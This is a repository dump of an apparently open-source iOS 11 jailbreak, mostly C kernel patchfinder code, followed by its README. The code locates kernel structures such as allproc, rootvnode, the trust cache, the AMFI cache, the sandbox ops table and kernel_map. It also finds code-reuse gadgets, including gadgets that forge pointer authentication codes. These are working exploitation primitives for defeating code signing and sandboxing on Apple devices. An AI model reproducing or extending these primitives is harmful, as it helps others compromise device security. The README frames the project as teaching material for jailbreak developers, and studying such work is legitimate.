} str = Boyermoore_horspool_memmem(Kernel + base, size, (uint8_t *)string, strlen(string)); if (exactMatch) { while (strcmp((char *)str, string)) { base += ((uint64_t)str - (uint64_t)Kernel - (uint64_t)base) + 1; size -= strlen((char *)str) + 1; str = Boyermoore_horspool_memmem(Kernel + base, size, (uint8_t *)string, strlen(string)); } } if (!str) { return 0; } return Find_reference(str - Kernel + KernDumpBase, n, type); } /****** fun *******/ addr_t Find_add_x0_x0_0x40_ret(void) { addr_t off; uint32_t *k; k = (uint32_t *)(Kernel + XNUCore_Base); for (off = 0; off < XNUCore_Size - 4; off += 4, k++) { if (k[0] == 0x91010000 && k[1] == 0xD65F03C0) { return off + XNUCore_Base + KernDumpBase + kernel_slide; } } k = (uint32_t *)(Kernel + Prelink_Base); for (off = 0; off < Prelink_Size - 4; off += 4, k++) { if (k[0] == 0x91010000 && k[1] == 0xD65F03C0) { return off + Prelink_Base + KernDumpBase + kernel_slide; } } return 0; } uint64_t Find_allproc(void) { // Find the first reference to the string addr_t ref = Find_strref("\"pgrp_add : pgrp is dead adding process\"", 1, 0, false); if (!ref) { return 0; } ref -= KernDumpBase; uint32_t op_before = *(uint32_t *)(Kernel + ref - 8); if ((op_before & 0xFC000000) == 0x14000000) { ref = Find_reference(ref - 4 + KernDumpBase, 1, 0); if (!ref) { return 0; } ref -= KernDumpBase; } uint64_t start = BOF64(Kernel, XNUCore_Base, ref); if (!start) { return 0; } // Find AND W8, W8, #0xFFFFDFFF - it's a pretty distinct instruction addr_t weird_instruction = 0; for (int i = 4; i < 5*0x100; i+=4) { uint32_t op = *(uint32_t *)(Kernel + ref + i); if (op == 0x12127908) { weird_instruction = ref+i; break; } } if (!weird_instruction) { return 0; } uint64_t val = Calc64(Kernel, start, weird_instruction - 8, 8); if (!val) { printf("Failed to calculate x8"); return 0; } return val + KernDumpBase + kernel_slide; } uint64_t Find_copyout(void) { // Find the first reference to the string addr_t ref = Find_strref("\"%s(%p, %p, %lu) - transfer too large\"", 2, 0, false); if (!ref) { return 0; } ref -= KernDumpBase; uint64_t start = 0; for (int i = 4; i < 0x100*4; i+=4) { uint32_t op = *(uint32_t*)(Kernel+ref-i); if (op == 0xd10143ff) { // SUB SP, SP, #0x50 start = ref-i; break; } } if (!start) { return 0; } return start + KernDumpBase + kernel_slide; } uint64_t Find_bzero(void) { // Just find SYS #3, c7, c4, #1, X3, then get the start of that function addr_t off; uint32_t *k; k = (uint32_t *)(Kernel + XNUCore_Base); for (off = 0; off < XNUCore_Size - 4; off += 4, k++) { if (k[0] == 0xd50b7423) { off += XNUCore_Base; break; } } uint64_t start = BOF64(Kernel, XNUCore_Base, off); if (!start) { return 0; } return start + KernDumpBase + kernel_slide; } addr_t Find_bcopy(void) { // Jumps straight into memmove after switching x0 and x1 around // Guess we just find the switch and that's it addr_t off; uint32_t *k; k = (uint32_t *)(Kernel + XNUCore_Base); for (off = 0; off < XNUCore_Size - 4; off += 4, k++) { if (k[0] == 0xAA0003E3 && k[1] == 0xAA0103E0 && k[2] == 0xAA0303E1 && k[3] == 0xd503201F) { return off + XNUCore_Base + KernDumpBase + kernel_slide; } } k = (uint32_t *)(Kernel + Prelink_Base); for (off = 0; off < Prelink_Size - 4; off += 4, k++) { if (k[0] == 0xAA0003E3 && k[1] == 0xAA0103E0 && k[2] == 0xAA0303E1 && k[3] == 0xd503201F) { return off + Prelink_Base + KernDumpBase + kernel_slide; } } return 0; } uint64_t Find_rootvnode(void) { // Find the first reference to the string addr_t ref = Find_strref("/var/run/.vfs_rsrc_streams_%p%x", 1, 0, false); if (!ref) { return 0; } ref -= KernDumpBase; uint64_t start = BOF64(Kernel, XNUCore_Base, ref); if (!start) { return 0; } // Find MOV X9, #0x2000000000 - it's a pretty distinct instruction addr_t weird_instruction = 0; for (int i = 4; i < 4*0x100; i+=4) { uint32_t op = *(uint32_t *)(Kernel + ref - i); if (op == 0xB25B03E9) { weird_instruction = ref-i; break; } } if (!weird_instruction) { ref = Find_strref("/var/run/.vfs_rsrc_streams_%p%x", 2, 0, false); if (!ref) { return 0; } ref -= KernDumpBase; start = BOF64(Kernel, XNUCore_Base, ref); if (!start) { return 0; } for (int i = 4; i < 4*0x100; i+=4) { uint32_t op = *(uint32_t *)(Kernel + ref - i); if (op == 0xB25B03E9) { weird_instruction = ref-i; break; } } if (!weird_instruction) { return 0; } } uint64_t val = Calc64(Kernel, start, weird_instruction, 8); if (!val) { return 0; } return val + KernDumpBase + kernel_slide; } addr_t Find_vnode_lookup() { addr_t ref, call, bof, func; ref = Find_strref("/private/var/mobile", 0, 0, false); if (!ref) { return 0; } ref -= KernDumpBase; bof = BOF64(Kernel, XNUCore_Base, ref); if (!bof) { return 0; } call = Step64(Kernel, ref, ref - bof, INSN_CALL); if (!call) { ref = Find_strref("/private/var/mobile", 2, 0, false); if (!ref) { return 0; } ref -= KernDumpBase; bof = BOF64(Kernel, XNUCore_Base, ref); if (!bof) { return 0; } call = Step64(Kernel, ref, ref - bof, INSN_CALL); if (!call) { return 0; } } call += 4; call = Step64(Kernel, call, call - bof, INSN_CALL); if (!call) { return 0; } call += 4; call = Step64(Kernel, call, call - bof, INSN_CALL); if (!call) { return 0; } func = Follow_call64(Kernel, call); if (!func) { return 0; } return func + KernDumpBase + kernel_slide; } // this is so bad ik addr_t Find_vfs_context_current(void) { uint64_t string = Find_strref("apfs_vnop_renamex", 5, 0, true); if (!string) { return 0; } string -= KernDumpBase; uint64_t call = Step64_back(Kernel, string, 100, INSN_CALL); if (!call) { return 0; } uint64_t call2 = Step64_back(Kernel, call - 4, 100, INSN_CALL); if (!call2) { return 0; } uint64_t func = Follow_call64(Kernel, call2); if (!func) { return 0; } return func + KernDumpBase + kernel_slide; } // strictly for new kernelcache formats. on older ones find string in prelink section instead addr_t Find_vnode_put(void) { uint64_t str = Find_strref("%s:%d: UNSET root_to_xid - on next boot, volume will root to liv", 1, 0, false); if (!str) { return 0; } str -= KernDumpBase; uint64_t call = Step64(Kernel, str, 100, INSN_CALL); if (!call) { return 0; } uint64_t call2 = Step64(Kernel, call + 4, 100, INSN_CALL); if (!call2) { return 0; } uint64_t call3 = Step64(Kernel, call2 + 4, 100, INSN_CALL); if (!call3) { return 0; } uint64_t func = Follow_call64(Kernel, call3); if (!func) { return 0; } return func + KernDumpBase + kernel_slide; } addr_t Find_trustcache(void) { addr_t call, func, ref; ref = Find_strref("%s: only allowed process can check the trust cache", 1, 1, false); if (!ref) { ref = Find_strref("%s: only allowed process can check the trust cache", 1, 0, false); if (!ref) { return 0; } } ref -= KernDumpBase; call = Step64_back(Kernel, ref, 44, INSN_CALL); if (!call) { return 0; } func = Follow_call64(Kernel, call); if (!func) { return 0; } call = Step64(Kernel, func, 32, INSN_CALL); if (!call) { return 0; } func = Follow_call64(Kernel, call); if (!func) { return 0; } call = Step64(Kernel, func, 32, INSN_CALL); if (!call) { return 0; } call = Step64(Kernel, call + 4, 32, INSN_CALL); if (!call) { return 0; } func = Follow_call64(Kernel, call); if (!func) { return 0; } call = Step64(Kernel, func, 48, INSN_CALL); if (!call) { return 0; } uint64_t val = Calc64(Kernel, call, call + 24, 21); if (!val) { // iOS 12 if (PPLText_size) { // A12 ref = Find_strref("\"loadable trust cache buffer too small (%ld) for entries claimed (%d)\"", 1, 4, false); if (!ref) { return 0; } ref -= KernDumpBase; val = Calc64(Kernel, ref-32*4, ref-24*4, 8); if (!val) { return 0; } return val + KernDumpBase + kernel_slide; } else { ref = Find_strref("\"loadable trust cache buffer too small (%ld) for entries claimed (%d)\"", 1, 0, false); } if (!ref) { return 0; } ref -= KernDumpBase; val = Calc64(Kernel, ref-12*4, ref-12*4+12, 8); if (!val) { return 0; } return val + KernDumpBase + kernel_slide; } return val + KernDumpBase + kernel_slide; } addr_t Find_pmap_load_trust_cache_ppl() { uint64_t ref = Find_strref("%s: trust cache already loaded, ignoring", 2, 0, false); if (!ref) { ref = Find_strref("%s: trust cache already loaded, ignoring", 1, 0, false); if (!ref) { return 0; } } ref -= KernDumpBase; uint64_t func = Step64_back(Kernel, ref, 200, INSN_CALL); if (!func) { return 0; } func -= 4; func = Step64_back(Kernel, func, 200, INSN_CALL); if (!func) { return 0; } func = Follow_call64(Kernel, func); if (!func) { return 0; } return func + KernDumpBase + kernel_slide; } addr_t Find_amficache() { uint64_t cbz, call, func, val; uint64_t ref = Find_strref("amfi_prevent_old_entitled_platform_binaries", 1, 1, false); if (!ref) { // iOS 11 ref = Find_strref("com.apple.MobileFileIntegrity", 0, 1, false); if (!ref) { return 0; } ref -= KernDumpBase; call = Step64(Kernel, ref, 64, INSN_CALL); if (!call) { return 0; } call = Step64(Kernel, call + 4, 64, INSN_CALL); goto okay; } ref -= KernDumpBase; cbz = Step64(Kernel, ref, 32, INSN_CBZ); if (!cbz) { return 0; } call = Step64(Kernel, Follow_cbz(Kernel, cbz), 4, INSN_CALL); okay: if (!call) { return 0; } func = Follow_call64(Kernel, call); if (!func) { return 0; } val = Calc64(Kernel, func, func + 16, 8); if (!val) { ref = Find_strref("%s: only allowed process can check the trust cache", 1, 1, false); // Trying to find AppleMobileFileIntegrityUserClient::isCdhashInTrustCache if (!ref) { return 0; } ref -= KernDumpBase; call = Step64_back(Kernel, ref, 11*4, INSN_CALL); if (!call) { return 0; } func = Follow_call64(Kernel, call); if (!func) { return 0; } call = Step64(Kernel, func, 8*4, INSN_CALL); if (!call) { return 0; } func = Follow_call64(Kernel, call); if (!func) { return 0; } call = Step64(Kernel, func, 8*4, INSN_CALL); if (!call) { return 0; } call = Step64(Kernel, call+4, 8*4, INSN_CALL); if (!call) { return 0; } func = Follow_call64(Kernel, call); if (!func) { return 0; } call = Step64(Kernel, func, 12*4, INSN_CALL); if (!call) { return 0; } val = Calc64(Kernel, call, call + 6*4, 21); } return val + KernDumpBase + kernel_slide; } addr_t Find_zone_map_ref(void) { // \"Nothing being freed to the zone_map. start = end = %p\\n\" uint64_t val = KernDumpBase; addr_t ref = Find_strref("\"Nothing being freed to the zone_map. start = end = %p\\n\"", 1, 0, false); ref -= KernDumpBase; // skip add & adrp for panic str ref -= 8; // adrp xX, #_zone_map@PAGE ref = Step64_back(Kernel, ref, 30, INSN_ADRP); uint32_t *insn = (uint32_t*)(Kernel+ref); // get pc val += ((uint8_t*)(insn) - Kernel) & ~0xfff; uint8_t xm = *insn & 0x1f; // don't ask, I wrote this at 5am val += (*insn<<9 & 0x1ffffc000) | (*insn>>17 & 0x3000); // ldr x, [xX, #_zone_map@PAGEOFF] ++insn; if ((*insn & 0xF9C00000) != 0xF9400000) { return 0; } // xd == xX, xn == xX, if ((*insn&0x1f) != xm || ((*insn>>5)&0x1f) != xm) { return 0; } val += ((*insn >> 10) & 0xFFF) << 3; return val + kernel_slide; } addr_t Find_OSBoolean_True() { addr_t val; addr_t ref = Find_strref("Delay Autounload", 0, 0, false); if (!ref) { return 0; } ref -= KernDumpBase; addr_t weird_instruction = 0; for (int i = 4; i < 4*0x100; i+=4) { uint32_t op = *(uint32_t *)(Kernel + ref + i); if (op == 0x320003E0) { weird_instruction = ref+i; break; } } if (!weird_instruction) { ref = Find_strref("Delay Autounload", 2, 0, false); if (!ref) { return 0; } ref -= KernDumpBase; for (int i = 4; i < 4*0x100; i+=4) { uint32_t op = *(uint32_t *)(Kernel + ref + i); if (op == 0x320003E0) { weird_instruction = ref+i; break; } } if (!weird_instruction) { return 0; } } val = Calc64(Kernel, ref, weird_instruction, 8); if (!val) { return 0; } return rk64(val + KernDumpBase + kernel_slide); } addr_t Find_OSBoolean_False() { return Find_OSBoolean_True()+8; } addr_t Find_osunserializexml() { addr_t ref = Find_strref("OSUnserializeXML: %s near line %d\n", 1, 0, false); if (!ref) { return 0; } ref -= KernDumpBase; uint64_t start = BOF64(Kernel, XNUCore_Base, ref); if (!start) { return 0; } return start + KernDumpBase + kernel_slide; } addr_t Find_smalloc() { addr_t ref = Find_strref("sandbox memory allocation failure", 1, 1, false); if (!ref) { ref = Find_strref("sandbox memory allocation failure", 1, 2, false); if (!ref) { return 0; } } ref -= KernDumpBase; uint64_t start = BOF64(Kernel, Prelink_Base, ref); if (!start) { start = BOF64(Kernel, XNUCore_Base, ref); if (!start) { return 0; } } return start + KernDumpBase + kernel_slide; } addr_t Find_sbops() { addr_t off, what; uint8_t *str = Boyermoore_horspool_memmem(Kernel + PString_base, PString_size, (uint8_t *)"Seatbelt sandbox policy", sizeof("Seatbelt sandbox policy") - 1); if (!str) { return 0; } what = str - Kernel + KernDumpBase; for (off = 0; off < Kernel_size - Prelink_Base; off += 8) { if (*(uint64_t *)(Kernel + Prelink_Base + off) == what) { return *(uint64_t *)(Kernel + Prelink_Base + off + 24) + kernel_slide; } } return 0; } uint64_t Find_bootargs(void) { /* ADRP X8, #_PE_state@PAGE ADD X8, X8, #_PE_state@PAGEOFF LDR X8, [X8,#(PE_state__boot_args - 0xFFFFFFF0078BF098)] ADD X8, X8, #0x6C STR X8, [SP,#0x550+var_550] ADRP X0, #aBsdInitCannotF@PAGE ; "\"bsd_init: cannot find root vnode: %s"... ADD X0, X0, #aBsdInitCannotF@PAGEOFF ; "\"bsd_init: cannot find root vnode: %s"... BL _panic */ addr_t ref = Find_strref("\"bsd_init: cannot find root vnode: %s\"", 1, 0, false); if (ref == 0) { return 0; } ref -= KernDumpBase; // skip add & adrp for panic str ref -= 8; uint32_t *insn = (uint32_t*)(Kernel+ref); // skip str --insn; // add xX, xX, #cmdline_offset uint8_t xm = *insn&0x1f; if (((*insn>>5)&0x1f) != xm || ((*insn>>22)&3) != 0) { return 0; } //cmdline_offset = (*insn>>10) & 0xfff; uint64_t val = KernDumpBase; --insn; // ldr xX, [xX, #(PE_state__boot_args - PE_state)] if ((*insn & 0xF9C00000) != 0xF9400000) { return 0; } // xd == xX, xn == xX, if ((*insn&0x1f) != xm || ((*insn>>5)&0x1f) != xm) { return 0; } val += ((*insn >> 10) & 0xFFF) << 3; --insn; // add xX, xX, #_PE_state@PAGEOFF if ((*insn&0x1f) != xm || ((*insn>>5)&0x1f) != xm || ((*insn>>22)&3) != 0) { return 0; } val += (*insn>>10) & 0xfff; --insn; if ((*insn & 0x1f) != xm) { return 0; } // pc val += ((uint8_t*)(insn) - Kernel) & ~0xfff; // don't ask, I wrote this at 5am val += (*insn<<9 & 0x1ffffc000) | (*insn>>17 & 0x3000); return val + kernel_slide; } addr_t Find_l2tp_domain_module_start() { uint64_t string = (uint64_t)Boyermoore_horspool_memmem(Kernel + Data_base, Data_size, (const unsigned char *)"com.apple.driver.AppleSynopsysOTGDevice", strlen("com.apple.driver.AppleSynopsysOTGDevice")) - (uint64_t)Kernel; if (!string) { return 0; } // uint64_t val = *(uint64_t*)(string + (uint64_t)Kernel - 0x20); // not sure if this is constant among all devices if (val == 0x8010000001821088) return string + KernDumpBase - 0x20; // return 0; return string + KernDumpBase - 0x20 + kernel_slide; } addr_t Find_l2tp_domain_module_stop() { uint64_t string = (uint64_t)Boyermoore_horspool_memmem(Kernel + Data_base, Data_size, (const unsigned char *)"com.apple.driver.AppleSynopsysOTGDevice", strlen("com.apple.driver.AppleSynopsysOTGDevice")) - (uint64_t)Kernel; if (!string) { return 0; } // uint64_t val = *(uint64_t*)(string + (uint64_t)Kernel - 0x20); // not sure if this is constant among all devices if (val == 0x8178000001821180) return string + KernDumpBase - 0x18; // return 0; return string + KernDumpBase - 0x18 + kernel_slide; } addr_t Find_l2tp_domain_inited() { uint64_t ref = Find_strref("L2TP domain init\n", 1, 0, true); if (!ref) { return 0; } ref -= KernDumpBase; uint64_t addr = Calc64(Kernel, ref, ref + 32, 8); if (!addr) { return 0; } return addr + KernDumpBase + kernel_slide; } addr_t Find_sysctl_net_ppp_l2tp() { uint64_t ref = Find_strref("L2TP domain terminate : PF_PPP domain does not exist...\n", 1, 0, true); if (!ref) { return 0; } ref -= KernDumpBase; ref += 4; uint64_t addr = Calc64(Kernel, ref, ref + 28, 0); if (!addr) { return 0; } return addr + KernDumpBase + kernel_slide; } addr_t Find_sysctl_unregister_oid() { uint64_t ref = Find_strref("L2TP domain terminate : PF_PPP domain does not exist...\n", 1, 0, true); if (!ref) { return 0; } ref -= KernDumpBase; uint64_t addr = Step64(Kernel, ref, 28, INSN_CALL); if (!addr) { return 0; } addr += 4; addr = Step64(Kernel, addr, 28, INSN_CALL); if (!addr) { return 0; } uint64_t call = Follow_call64(Kernel, addr); if (!call) { return 0; } return call + KernDumpBase + kernel_slide; } addr_t Find_mov_x0_x4__br_x5() { uint32_t bytes[] = { 0xaa0403e0, // mov x0, x4 0xd61f00a0 // br x5 }; uint64_t addr = (uint64_t)Boyermoore_horspool_memmem((unsigned char *)((uint64_t)Kernel + XNUCore_Base), XNUCore_Size, (const unsigned char *)bytes, sizeof(bytes)); if (!addr) { return 0; } return addr - (uint64_t)Kernel + KernDumpBase + kernel_slide; } addr_t Find_mov_x9_x0__br_x1() { uint32_t bytes[] = { 0xaa0003e9, // mov x9, x0 0xd61f0020 // br x1 }; uint64_t addr = (uint64_t)Boyermoore_horspool_memmem((unsigned char *)((uint64_t)Kernel + XNUCore_Base), XNUCore_Size, (const unsigned char *)bytes, sizeof(bytes)); if (!addr) { return 0; } return addr - (uint64_t)Kernel + KernDumpBase + kernel_slide; } addr_t Find_mov_x10_x3__br_x6() { uint32_t bytes[] = { 0xaa0303ea, // mov x10, x3 0xd61f00c0 // br x6 }; uint64_t addr = (uint64_t)Boyermoore_horspool_memmem((unsigned char *)((uint64_t)Kernel + XNUCore_Base), XNUCore_Size, (const unsigned char *)bytes, sizeof(bytes)); if (!addr) { return 0; } return addr - (uint64_t)Kernel + KernDumpBase + kernel_slide; } addr_t Find_kernel_forge_pacia_gadget() { uint32_t bytes[] = { 0xdac10149, // paci 0xf9007849 // str x9, [x2, #240] }; uint64_t addr = (uint64_t)Boyermoore_horspool_memmem((unsigned char *)((uint64_t)Kernel + XNUCore_Base), XNUCore_Size, (const unsigned char *)bytes, sizeof(bytes)); if (!addr) { return 0; } return addr - (uint64_t)Kernel + KernDumpBase + kernel_slide; } addr_t Find_kernel_forge_pacda_gadget() { uint32_t bytes[] = { 0xdac10949, // pacd x9 0xf9007449 // str x9, [x2, #232] }; uint64_t addr = (uint64_t)Boyermoore_horspool_memmem((unsigned char *)((uint64_t)Kernel + XNUCore_Base), XNUCore_Size, (const unsigned char *)bytes, sizeof(bytes)); if (!addr) { return 0; } return addr - (uint64_t)Kernel + KernDumpBase + kernel_slide; } addr_t Find_IOUserClient_vtable() { uint64_t ref1 = Find_strref("IOUserClient", 2, 0, true); if (!ref1) { return 0; } ref1 -= KernDumpBase; uint64_t ref2 = Find_strref("IOUserClient", 3, 0, true); if (!ref2) { return 0; } ref2 -= KernDumpBase; uint64_t func2 = BOF64(Kernel, XNUCore_Base, ref2); if (!func2) { return 0; } uint64_t vtable = Calc64(Kernel, ref1, func2, 8); if (!vtable) { return 0; } //vtable -= 0x10; return vtable + KernDumpBase + kernel_slide; } addr_t Find_IORegistryEntry__getRegistryEntryID() { uint32_t bytes[] = { 0xf9400808, // ldr x8, [x0, #0x10] }; uint64_t addr = (uint64_t)Boyermoore_horspool_memmem((unsigned char *)((uint64_t)Kernel + XNUCore_Base), XNUCore_Size, (const unsigned char *)bytes, sizeof(bytes)); if (!addr) { return 0; } // basically just look the instructions // can't find a better way // this was not done like the previous gadgets because an address is being used, which won't be the same between devices so can't be hardcoded and i gotta use masks // cbz x8, SOME_ADDRESS <= where we do masking (((*(uint32_t *)(addr + 4)) & 0xFC000000) != 0xb4000000) // ldr x0, [x8, #8] <= 2nd part of 0xd65f03c0f9400500 // ret <= 1st part of 0xd65f03c0f9400500 while ((((*(uint32_t *)(addr + 4)) & 0xFC000000) != 0xb4000000) || (*(uint64_t*)(addr + 8) != 0xd65f03c0f9400500)) { addr = (uint64_t)Boyermoore_horspool_memmem((unsigned char *)(addr + 4), XNUCore_Size, (const unsigned char *)bytes, sizeof(bytes)); } return addr + KernDumpBase - (uint64_t)Kernel + kernel_slide; } addr_t Find_cs_gen_count() { uint64_t ref = Find_strref("CS Platform Exec Logging: Executing platform signed binary '%s'", 1, 2, false); if (!ref) { return 0; } ref -= KernDumpBase; uint64_t addr = Step64(Kernel, ref, 200, INSN_ADRP); if (!addr) { return 0; } addr = Calc64(Kernel, addr, addr + 12, 25); if (!addr) { return 0; } return addr + KernDumpBase + kernel_slide; } addr_t Find_cs_validate_csblob() { uint32_t bytes[] = { 0x52818049, // mov w9, #0xC02 0x72bf5bc9, // movk w9, #0xfade, lsl#16 0x6b09011f // cmp w8, w9 }; uint64_t addr = (uint64_t)Boyermoore_horspool_memmem((unsigned char *)((uint64_t)Kernel + XNUCore_Base), XNUCore_Size, (const unsigned char *)bytes, sizeof(bytes)); if (!addr) { return 0; } addr -= (uint64_t)Kernel; addr = BOF64(Kernel, XNUCore_Base, addr); if (!addr) { return 0; } return addr + KernDumpBase + kernel_slide; } addr_t Find_kalloc_canblock() { uint32_t bytes[] = { 0xaa0003f3, // mov x19, x0 0xf9400274, // ldr x20, [x19] 0xf11fbe9f // cmp x20, #0x7ef }; uint64_t addr = (uint64_t)Boyermoore_horspool_memmem((unsigned char *)((uint64_t)Kernel + XNUCore_Base), XNUCore_Size, (const unsigned char *)bytes, sizeof(bytes)); if (!addr) { return 0; } addr -= (uint64_t)Kernel; addr = BOF64(Kernel, XNUCore_Base, addr); if (!addr) { return 0; } return addr + KernDumpBase + kernel_slide; } addr_t Find_cs_blob_allocate_site() { uint32_t bytes[] = { 0xf9001ea8, // str x8, [x21, #0x38] 0xb9000ebf, // str wzr, [x21, #0xc] 0x3942a2a8, // ldrb 28, [x21, #0xa8] 0x121e1508, // and w8, w8, #0xfc }; uint64_t addr = (uint64_t)Boyermoore_horspool_memmem((unsigned char *)((uint64_t)Kernel + XNUCore_Base), XNUCore_Size, (const unsigned char *)bytes, sizeof(bytes)); if (!addr) { return 0; } addr -= (uint64_t)Kernel; addr = Step64_back(Kernel, addr, 200, INSN_ADRP); if (!addr) { return 0; } addr = Calc64(Kernel, addr, addr + 8, 2); if (!addr) { return 0; } return addr + KernDumpBase + kernel_slide; } addr_t Find_kfree() { uint32_t bytes[] = { 0xf9001ea8, // str x8, [x21, #0x38] 0xb9000ebf, // str wzr, [x21, #0xc] 0x3942a2a8, // ldrb 28, [x21, #0xa8] 0x121e1508, // and w8, w8, #0xfc }; uint64_t addr = (uint64_t)Boyermoore_horspool_memmem((unsigned char *)((uint64_t)Kernel + XNUCore_Base), XNUCore_Size, (const unsigned char *)bytes, sizeof(bytes)); if (!addr) { return 0; } addr -= (uint64_t)Kernel; addr = Step64(Kernel, addr, 200, INSN_CALL); if (!addr) { return 0; } addr += 4; addr = Step64(Kernel, addr, 200, INSN_CALL); if (!addr) { return 0; } addr = Follow_call64(Kernel, addr); if (!addr) { return 0; } return addr + KernDumpBase + kernel_slide; } addr_t Find_cs_find_md() { uint32_t bytes[] = { 0xb9400008, // ldr w8, [x0] 0x529bdf49, // mov w9, #0xdefa 0x72a04189, // movk w9, #0x20c, lsl#16 0x6b09011f // cmp w8, w9 }; uint64_t addr = (uint64_t)Boyermoore_horspool_memmem((unsigned char *)((uint64_t)Kernel + XNUCore_Base), XNUCore_Size, (const unsigned char *)bytes, sizeof(bytes)); if (!addr) { return 0; } addr -= (uint64_t)Kernel; uint64_t adrp = Step64(Kernel, addr, 200, INSN_ADRP); if (!adrp) { return 0; } adrp += 4; uint64_t adrp2 = Step64(Kernel, adrp, 200, INSN_ADRP); if (adrp2) { adrp = adrp2; // non-A12 } addr = Calc64(Kernel, adrp - 4, adrp + 8, 9); if (!addr) { return 0; } return addr + KernDumpBase + kernel_slide; } addr_t Find_kernel_memory_allocate() { uint64_t ref = Find_strref("\"kernel_memory_allocate: VM is not ready\"", 1, 0, true); if (!ref) { return 0; } ref -= KernDumpBase; uint64_t func = BOF64(Kernel, XNUCore_Base, ref); if (!func) { return 0; } return func + KernDumpBase + kernel_slide; } addr_t Find_kernel_map() { uint64_t kalloc_canblock = Find_kalloc_canblock(); if (!kalloc_canblock) { return 0; } kalloc_canblock -= (KernDumpBase + kernel_slide); uint64_t kern_alloc = Find_kernel_memory_allocate(); if (!kern_alloc) { return 0; } kern_alloc -= (KernDumpBase + kernel_slide); uint64_t val = 0; uint64_t func = kalloc_canblock; for (int i = 0; i < 5; i++) { func = Step64(Kernel, func + 4, 4*80, INSN_CALL); if (Follow_call64(Kernel, func) == kern_alloc) { val = Calc64(Kernel, kalloc_canblock, func, 10); break; } } if (!val) { return 0; } return val + KernDumpBase + kernel_slide; } ================================================ FILE: README.md ================================================ # Blizzard Jailbreak An Open-Source iOS 11.0 to 11.4.1 Jailbreak. This jailbreak is aimed at the beginner Jailbreak Developers who want to learn how to build iOS Jailbreaks. The code is kept simple with only the necessary components being added, while keeping a functional jailbreak. ### NOT SUITABLE FOR PUBLIC USE RIGHT NOW! WAIT FOR ME TO FINISH IT! ### Part of my OpenJailbreak Project. Feel free to mess with the code as long as you do proper crediting where it is due. ### Speaking of credits Special thanks to the following developers. Their work is used in this project: * Jake James * Pwn20wnd * Electra Team ### Find Me on Social Media: * GeoSn0w (Personal Dev Account) * Blizzard Jailbreak * iDevice Central YouTube Channel ### My Websites * Latest iOS 16 Jailbreak News * Latest Gaming News & Guides * iOS Jailbreak Forum * Latest FRP Bypass Tools & Guides ================================================ FILE: Vanity/readme.md ================================================ This folder contains the logo, wallpapers and other press kits.